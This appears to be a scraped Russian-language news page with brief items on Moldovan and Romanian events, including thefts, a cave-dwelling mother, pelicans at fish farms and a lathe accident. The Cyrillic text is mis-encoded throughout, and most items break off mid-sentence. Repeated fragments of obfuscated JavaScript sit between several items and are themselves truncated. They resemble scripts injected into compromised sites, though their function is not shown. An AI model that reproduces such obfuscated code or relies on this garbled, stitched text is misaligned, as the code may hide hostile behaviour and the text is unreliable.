Êîãäà ÿ âñòðåòèëñÿ ñ õóäîæíèêîì ó íåãî â ñêðîìíîé îäíîêîìíàòíîé êâàðòèðå-ìàñòåðñêîé íà îêðàèíå Êèøèíåâà, äîìà "çàñòàë" ëèøü ÷åòûðå ïîëîòíà. Äâà èç íèõ óæå áûëè ïðîäàíû. Ïåðâûé ìîé âîïðîñ áûë î òîì, íå æàëêî ëè åìó ðàññòàâàòüñÿ ñî ñâîèìè ïðîèçâåäåíèÿìè.
- Íèñêîëüêî, - íå êîëåáëÿñü îòâåòèë Þðèé. È äîáàâèë, ÷òî ïðîäàæà â îïðåäåëåííîì ñìûñëå ñïàñàåò êàðòèíû.
- ß ÷åëîâåê ïåðåìåí÷èâûé. Âðîäå áû çàâåðøèâ ðàáîòó, âäðóã îñîçíàþ, ÷òî òó æå èäåþ ìîæíî áûëî âîïëîòèòü èíà÷å. Ñêàæåì, â ãëàçàõ íà ïîðòðåòå ìîãëî ïîÿâèòüñÿ èíîå âûðàæåíèå. Èëè â ðóêàõ, èçãèáå òåëà. È åñëè áû êàðòèíà íå îáðåëà óæå ñâîåãî âëàäåëüöà, ÿ íåïðåìåííî ñòàë áû åå ïåðåäåëûâàòü....
 ëåñó íåïîäàëåêó îò ðóìûíñêîãî ãîðîäà ßññû ìåñòíûå ïîëèöåéñêèå îáíàðóæèëè, ÷òî ãðîò íà îäíîì èç êðóòûõ îòêîñîâ ñòàë îáèòàåìûì.
À ïîñåëèëàñü â íåì äâàäöàòèòðåõëåòíÿÿ Ìàðèàíà Êàðàóòà ñ ãîäîâàëûì ñûíîì. Áîëåå òîãî, ìîëîäàÿ æåíùèíà æäåò âòîðîãî ðåáåíêà. Áåðåìåííîñòü è ñòàëà ïðè÷èíîé òîãî, ÷òî ëþäè ïåðåñåëèëèñü â ïåùåðó. Ðîäèòåëè Ìàðèàíû áûëè íåäîâîëüíû òåì, ÷òî îíà áåç ìóæà ñîáðàëàñü ðîæàòü óæå âòîðîé ðàç è ïðîñòî-íàïðîñòî âûãíàëè äî÷ü ñ åå ïåðâûì ñûíîì èç äîìó. Æåíùèíå íè÷åãî íå îñòàâàëîñü, êàê ïîäàòüñÿ â ëåñ, â êîòîðîì èìåëñÿ ïðèãîäíûé äëÿ ïðîæèâàíèÿ ãðîò. Ýòà âûíóæäåííàÿ ðîáèíçîíàäà ìîãëà çàêîí÷èòüñÿ ïëà÷åâíî: íåîáû÷íàÿ ìàìà è åå ãîäîâàëûé ñûí áûëè ñèëüíî èñòîùåíû. Ñåé÷àñ æå îáà îïðåäåëåíû â ïðèþò, è ïî ýòîìó ñëó÷àþ âîçáóæäåíî óãîëîâíîå äåëî.
function _0x39e0(_0x2e6d70,_0x39105a){const...
Ìëàäåíöû Ìîëäàâèè ñêîðî ñî äíÿ ïîÿâëåíèÿ íà ñâåò áóäóò ïîäâåðãàòüñÿ ñòðîæàéøåìó ó÷åòó: ïðè ðåãèñòðàöèè íîâîðîæäåííîãî íåïîñðåäñòâåííî â ðîäèëüíûõ äîìàõ áóäåò îôîðìëÿòüñÿ íå ïðîñòîå ñâèäåòåëüñòâî î ðîæäåíèè, à ñåðòèôèêàò ñ ëè÷íûì èäåíòèôèêàöèîííûì êîäîì, ñîñòîÿùèì èç òðèíàäöàòè öèôð.
Ýòî ñâîåîáðàçíàÿ ïîæèçíåííàÿ âèçèòíàÿ ó÷åòíàÿ êàðòà, êîòîðàÿ â òîì ÷èñëå áóäåò èñïîëüçîâàòüñÿ â íàëîãîâûõ îðãàíàõ. Âûïèñûâàåòñÿ äîêóìåíò â äâóõ ýêçåìïëÿðàõ: îäèí âûäàåòñÿ ìàòåðè íà ðóêè, âòîðîé íàïðàâëÿåòñÿ â îðãàíû âëàñòè ïî ìåñòó æèòåëüñòâà ìàëûøà. Åñëè â òå÷åíèå ìåñÿöà ðåáåíîê íå áóäåò çàðåãèñòðèðîâàí â îðãàíàõ ãðàæäàíñêîãî ñîñòîÿíèÿ, ñîòðóäíèêè ïîëèöèè ïðèñòóïÿò ê ðîçûñêó ìàòåðè.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Íåîæèäàííîé áåäîé äëÿ ðûáîâîäîâ èç ðóìûíñêîãî ñåëà Âëýäåøòü îáåðíóëîñü íàëè÷èå â ñîñåäíåé Ìîëäàâèè, â íèçîâüÿõ Ïðóòà, êîëîíèè ïåëèêàíîâ.
Ýòè êðàñàâöû â íûíåøíåì ãîäó ñòàëè äåëàòü íàëåòû íà ïðóäû ðûáîâîä÷åñêîé ôåðìû. Îäíîâðåìåííî íà "âîäíóþ ïîñàäêó" èäåò äî òûñÿ÷è ïòèö. Ïåëèêàíû âåñüìà ïðîæîðëèâû - âçðîñëàÿ îñîáü ìîæåò ñúåñòü çà äåíü äî äåñÿòè êèëîãðàììîâ ðûáû.  íèçîâüÿõ Ïðóòà ãíåçäèòñÿ è êîëîíèÿ áàêëàíîâ, íå ìåíåå ïðîæîðëèâûõ. Åñëè è îíè íàéäóò ïóòü ê ïðóäàì, òî ôåðìàì ãðîçèò ïîëíîå ðàçîðåíèå.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Ïîêà ïðîêóðîð ðóìûíñêîãî ãîðîäà Ãàëàö Èîí Ïîïåñêó â ïîòå ëèöà âåë áîðüáó ñî âñåâîçìîæíûìè ïðåñòóïíèêàìè, êîòîðûõ íà ââåðåííîé åìó òåððèòîðèè ïðóä ïðóäè, íåèçâåñòíûå çëîóìûøëåííèêè çàáðàëèñü â ëåòíèé äîìèê ñòðàæà ïðàâîïîðÿäêà.
Âîðèøêè îêàçàëèñü âåñüìà ðàçáîð÷èâûìè, ïðèõâàòèâ ñ ñîáîé ïåðñèäñêèå êîâðû. È õîòÿ óùåðá íàíåñåí áûë íå òàêîé óæ è çíà÷èòåëüíûé - ïðîêóðîð îöåíèë ñòîèìîñòü óêðàäåííîãî, ñîîáùàåò ðóìûíñêàÿ ãàçåòà "Åâåíèìåíòóë çèëåé", â äâàäöàòü ïÿòü ìèëëèîíîâ ðóìûíñêèõ ëåé (÷óòü ìåíüøå îäíîé òûñÿ÷è äîëëàðîâ ÑØÀ), - øóì êðàæà íàäåëàëà íåìàëûé.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const...
"Êîðîëåì òîìàòîâ" îáúÿâèëè â ðóìûíñêîì óåçäå Áàêýó îâîù, âûðàùåííûé ýêñ-ïðåïîäàâàòåëåì áèîëîãèè Âàñèëèåì Ñòåðïó.
Ñòðàñòíûé îãîðîäíèê, èìåþùèé åùå è ïðîôåññèîíàëüíûå çíàíèÿ, ïîñòîÿííî óäèâëÿë âñåõ íåáûâàëûìè óðîæàÿìè îâîùåé. Îäíàêî òàêîé ïîìèäîð, êîòîðûé óäàëîñü âûðàñòèòü Âàñèëèþ â íûíåøíåì ãîäó, íèêîìó â îêðóãå íèêîãäà è âèäåòü íå ïðèõîäèëîñü: êðàñíîáîêèé ïëîä ðàçìåðîì ïðåâîñõîäèë äîáðóþ äûíþ è âåñèë ïîëòîðà êèëîãðàììà. Ïëîòíûé, ñî÷íûé - âêóñíåéøèé ñàëàò èç íåãî îòâåäàëè âñå ñîñåäè. Âàñèëèé äîñòèæåíèé õèìèè íå èñïîëüçóåò, çàòî î÷åíü íåæíî óõàæèâàåò çà ñâîèìè ïîäîïå÷íûìè. Ïîëèâàåò èõ òîëüêî òåïëîé âîäîé è öåëûìè äíÿìè ëàñêîâî áåñåäóåò ñ íèìè.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
 25 Ëåîíèäà Íåäîâà çàî÷íî ïðèãîâîðèëè ê ñìåðòíîé êàçíè. Âîñåìü ëåò õóäîæíèê-ñàìîðîäîê, ñòóäåíò-íåäîó÷êà, ñêðûâàëñÿ. Ïðàâäà, ÷åðåç ìåñÿö òÿãîñòíîãî îæèäàíèÿ â îäèíî÷êå âåðäèêò âñå æå ñìÿã÷èëè: 25 ëåò ëàãåðåé.
Ñóäüáà ïàðåíüêà èç Òèðàñïîëÿ ñëîæèëàñü íåïðîñòî. Ãðÿíóëà âîéíà. Ëåîíèä îòñòàë îò ïîåçäà, â êîòîðîì ñåìüÿ ýâàêóèðîâàëàñü íà âîñòîê. Ê ñ÷àñòüþ, íå ñãèíóë ñðåäè áåñïðèçîðíîé øïàíû, íå ïóñòèëñÿ âî âñå òÿæêèå. Ïðèãðåëè âîåííûå. Âíà÷àëå ñûíîì ïîëêà ñ÷èòàëñÿ. À â 42-ì åìó ñòóêíóëî 18 - è áîéöîì ñòàë. Äîøåë ñ áîÿìè äî Âåíãðèè. Åùå íà ôðîíòå îòêðûëñÿ ó Ëåîíèäà äàð õóäîæíèêà.  ìèíóòû çàòèøüÿ ðèñîâàë ïîðòðåòû îäíîïîë÷àí. Ïîçæå íàáðîñêè ýòè ñòàëè ïðîïóñêîì â Îäåññêîå õóäîæåñòâåííîå ó÷èëèùå. Òàì îí, ôðîíòîâèê, âûãëÿäåë âåòåðàíîì è ïî âîçðàñòó - 23 ãîäà, è ïî æèçíåííîìó îïûòó.
Áåäà ïîäñòóïèëà îòòóäà, îòêóäà íå æäàë. Ëåîíèä, óâëå÷åííûé ó÷åáîé, çàáûë,...
Âèäåòü, êàê êèñòü òâîåé ðóêè îòëåòàåò îò òåáÿ è èç òîãî ìåñòà, ãäå îíà òîëüêî ÷òî áûëà, õëåùåò êðîâü, - ñîãëàñèòåñü, çðåëèùå íå äëÿ ñëàáîíåðâíûõ. Äâàäöàòèäåâÿòèëåòíèé êèøèíåâåö Ãåííàäèé Ïðèìåí÷óê îêàçàëñÿ èç íåðîáêîãî äåñÿòêà.À âñå ïðîèçîøëî ìãíîâåííî. Çàïðàâèâ â ñâîé îòå÷åñòâåííûé òîêàðíûé ñòàíîê äèñê îò "áîëãàðêè", êîòîðîé ìàñòåðà ðåæóò ìåòàëë, Ãåííàäèé ðåøèë ïîýêñïåðèìåíòèðîâàòü, ÷òîáû óñêîðèòü ïðîöåññ èçãîòîâëåíèÿ áîëâàíîê.
Ìîìåíòàëüíî íàáðàâøèé îáîðîòû - òðè òûñÿ÷è â ìèíóòó - àãðåãàò òóò æå îòòîðã ÷óæäûé åìó äèñê, è òîò ñ áåøåíîé ñêîðîñòüþ îòëåòåë â ñòîðîíó. Íà ïóòè ñìåðòîíîñíîé äåòàëè è îêàçàëàñü ðóêà Ãåííàäèÿ. Äîëÿ ñåêóíäû - êèñòü ñðåçàëî, ñëîâíî ñòåáåëåê îñòðîé áðèòâîé.
Ïðîèçîøëî ýòî íà ãëàçàõ ó òîâàðèùåé ïî öåõó. Âñå îöåïåíåëè. Îäèí òîëüêî Ãåííàäèé íå ðàñòåðÿëñÿ è íà÷àë îòäàâàòü ðåçêèå, îòðûâèñòûå êîìàíäû äðóçüÿì: èíà÷å èõ íå ïðèâåñòè áûëî â ÷óâñòâî. Ïåðâûì äåëîì - ïåðåòÿíóòü êðåïêî-íàêðåïêî îáðóáîê ðåìíåì. Âòîðîå - çâîíèòü â "ñêîðóþ". Îáëîæèòü ðóêó ëüäîì - ýòî óæå âðà÷è ñîâåò äàëè.  Êèøèíåâå â òå äíè æàðà ñòîÿëà çà òðèäöàòü, âñå îò íåå èçíûâàëè,...
Íåîæèäàííûé ðåçóëüòàò ïðèíåñëî ñîöèîëîãè÷åñêîå îáñëåäîâàíèå, ïðîâåäåííîå íåäàâíî âî âòîðîì ïî ðàçìåðàì è çíà÷åíèþ ãîðîäå Ìîëäàâèè Áåëüöû.
Âûÿñíèëîñü, ÷òî çäåñü ñàìîå áîëüøîå êîëè÷åñòâî ñâîáîäíûõ ìóæ÷èí â ñòðàíå. Èç ñòà áåëü÷àí, âñòóïèâøèõ â âîçðàñò, êîãäà óæå ìîæíî îáçàâîäèòüñÿ ñåìüåé, òðèäöàòü äåâÿòü äî ñèõ ïîð òàê è íå èìåþò ïîñòîÿííîé ïàðòíåðøè, íå ãîâîðÿ óæå î òîì, ÷òîáû âñòóïèòü â áðàê. Îáúÿñíèòü ñåé ôåíîìåí ñîöèîëîãè ÷åì-òî êîíêðåòíûì òàê è íå ñìîãëè. Æåíùèí â ãîðîäå ãîðàçäî áîëüøå, ÷åì ìóæ÷èí. Îäíàêî íàéòè ñåáå ñïóòíèöó æèçíè ìóæèêè íå ìîãóò. Íàïðàøèâàåòñÿ íåçàìûñëîâàòûé âûâîä: ëèáî ñàìè íå õîòÿò ñâÿçûâàòü ñåáÿ êàêèìè-òî îáÿçàòåëüñòâàìè, ëèáî ìèëûå æåíùèíû äàþò èì îò âîðîò ïîâîðîò.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Òðàêòîðèñò Âàñèëèé Ê. èç êîììóíû Ëåáåäåíêî Êàãóëüñêîãî óåçäà, ðåøèâ ïîäðàáîòàòü èçâîçîì, ëèøèëñÿ ñâîåãî "æåëåçíîãî êîíÿ".
Îí ïîñàäèë â êàáèíó ñâîåãî "Áåëàðóñÿ" òðîèõ íåçíàêîìöåâ è ñîãëàñèëñÿ ïîäâåçòè èõ äî ñîñåäíåãî ñåëà. Îäíàêî êàê òîëüêî òðàêòîð âûêàòèë çà ïðåäåëû ñåëà è çà ëåñîïîëîñó, òðîèöà òóò æå íàáðîñèëàñü íà ñâîåãî äîáðîäåòåëÿ, èçðÿäíî åãî èçáèëà, ñâÿçàëà, âûáðîñèëà èç êàáèíû, à ñàìà èñ÷åçëà â òåìíîòå íà òðàêòîðå. Íàéòè ïîõèòèòåëåé äî ñèõ ïîð òàê è íå óäàëîñü. Îíî è ïîíÿòíî: ñ ïðèâàòèçàöèåé çåìëè êîëåñíûé òðàêòîð ñòàë ñàìûì õîäîâûì òîâàðîì. Ïðè÷åì ñèòóàöèÿ ñêëàäûâàåòñÿ òàê, ÷òî â îòäàëåííûõ ñåëàõ èõ äàæå íå ðåãèñòðèðóþò íèãäå, ðàáîòàþò ñåáå íà ïîëÿõ, à îòêóäà îí âçÿëñÿ, íèêîãî íå èíòåðåñóåò.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return...
 ýòîì íà ñîáñòâåííîì ãîðüêîì îïûòå óáåäèëñÿ ñâÿùåííèê Øòåôàí Àðãàòó èç ñåëà Ñëîáîçèÿ ×îðýøòü ðóìûíñêîãî óåçäà Âðàí÷à.
Ñåé öåðêîâíûé ñëóæèòåëü ñëàâèëñÿ â îêðóãå òåì, ÷òî âî âðåìÿ ñâîèõ ñëóæá èçãîíÿë è, ãîâîðÿò, âåñüìà óñïåøíî, íå÷èñòóþ ñèëó, íà äîìîãàíèÿ êîòîðîé æàëîâàëèñü áàòþøêå ïðèõîæàíå. Òàê ýòî èëè íåò, ïðîâåðèòü òðóäíî, îäíàêî áîëüøèíñòâî èç íèõ ïîñëå ïîñåùåíèÿ õðàìà ÿêîáû áîëüøå ñ íå÷èñòîé ñèëîé íå ñîïðèêàñàëèñü. Òàê ïðîäîëæàëîñü áû, âîçìîæíî, äîëãî, åñëè áû ñ ñàìèì áàòþøêîé âäðóã íå ñëó÷èëîñü íåñ÷àñòüå - åãî áîëüøîé äîì ñãîðåë â ìãíîâåíèå îêà âìåñòå ñî âñåìè äâîðîâûìè ïîñòðîéêàìè. Äà òàê áûñòðî, ÷òî îïåðàòèâíî ïðèáûâøèå ïîæàðíûå íè÷åì ïîìî÷ü óæå íå ìîãëè.  ðåçóëüòàòå áîðåö ñ íå÷èñòîé ñèëîé ïîíåñ óáûòêè íà ñîòíè ìèëëèîíîâ ðóìûíñêèõ ëåé. Ñëåäñòâèå...
 íåóðî÷íûé ÷àñ êèøèíåâåö, ÷òî ïðîæèâàåò íà óëèöå Ìèð÷à ÷åë Áýòðûí, âîçâðàòèëñÿ äîìîé. Óæå â
 íåóðî÷íûé ÷àñ êèøèíåâåö, ÷òî ïðîæèâàåò íà óëèöå Ìèð÷à ÷åë Áýòðûí, âîçâðàòèëñÿ äîìîé. Óæå â êîðèäîðå ïî÷óâñòâîâàë íåëàäíîå, à êîãäà âîøåë â êîìíàòó, îáîìëåë îò èçóìëåíèÿ.
Íà ñòîëå íåèçâåñòíûé íå ñïåøà óêëàäûâàë â áîëüøóþ äîðîæíóþ ñóìêó õîçÿèíà åãî âåùè - äóáëåíêó, êîæàíóþ êóðòêó è êîå-÷òî åùå èç ìóæñêîãî ãàðäåðîáà. Íåïðîøåíûé ãîñòü, â îòëè÷èå îò õîçÿèíà êâàðòèðû, ïðîÿâèë óäèâèòåëüíóþ ñíîðîâêó. Íå ìåøêàÿ íè ñåêóíäû, îí çàñòåãíóë ìîëíèþ íà ñàêâîÿæå è ìåòíóë åãî, ñëîâíî ìîëîò, â ðàñêðûòîå îêíî. À ÷åðåç ìãíîâåíèå è ñàì ñèãàíóë òóäà æå. Õîçÿèí îïåøèë âî âòîðîé ðàç: âåäü æèë îí âñå-òàêè íà âòîðîì ýòàæå. Ïðûæîê ñ òàêîé âûñîòû íå ïðåäâåùàë...